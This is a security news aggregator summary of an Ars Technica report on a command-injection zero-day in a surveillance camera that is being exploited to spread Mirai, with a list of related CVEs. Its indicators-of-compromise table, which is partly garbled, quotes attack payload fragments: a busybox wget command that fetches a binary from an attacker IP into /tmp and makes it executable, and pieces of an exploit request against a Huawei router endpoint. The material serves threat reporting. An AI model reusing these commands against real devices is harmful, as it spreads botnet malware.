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Unpatchable 0-day in surveillance cam is being exploited to install Mirai

Ars Technica · Security ()2 min read3
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Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2014-8361
Improper Input Validation in Realtek SDK miniigd SOAP Service Enables Remote RCE
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KEV
CVE-2017-17215
Huawei HG532 with some customized versions has a remote code execution vulnerability
8.878%
CVE-2024-7029
Commands can be injected over the network and executed without authentication
8.743%PoC

Indicators of compromise

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TypeIndicatorContext
ipv445.14.244.890000001, cnonce=\"248d1a2560100669\" $(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips
md53612f843a42db38f48f59d2a3597e19c6e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"2
md588645cefb1f9ede0e336e3569d75ee30rname=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db

From the original article

2 min read at arstechnica.com

The technique, however, has allowed Akamai to capture the code used to compromise the devices. It targets a vulnerability that has been known since at least 2019 when exploit code became public. The zero-day resides in the “brightness argument in the ‘action=’ parameter” and allows for command injection, researchers wrote.

Ars Technica · Security

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